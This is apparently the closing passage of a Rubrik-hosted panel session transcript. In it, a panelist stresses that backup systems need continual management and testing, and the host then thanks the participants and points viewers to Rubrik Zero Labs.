Well, I love that one, Kyle. I completely agree. Mine would be that these things are fire and forget that essentially you buy a backup solution, you implement it and you're good to go that couldn't be further from the truth. You have to continually manage, monitor, upgrade, expand, improve, test, validate, verify. This is a career. It is not a solution that you just sort of buy and turn away from.

Yes, it's a marathon, not a sprint, absolutely. Again, I want to thank you guys for taking part and sharing your vast knowledge with everyone. I want to thank everyone for attending. This is an incredible session, and there's so much more that we can learn. Don't hesitate to take a look at Rubrik Zero Labs or reach out to your Rubrik representative if you want to learn more. And thank you again for making the time. Coming up next breakout sessions so many great things in those sessions. So stay tuned. Thanks again for joining Rubrik.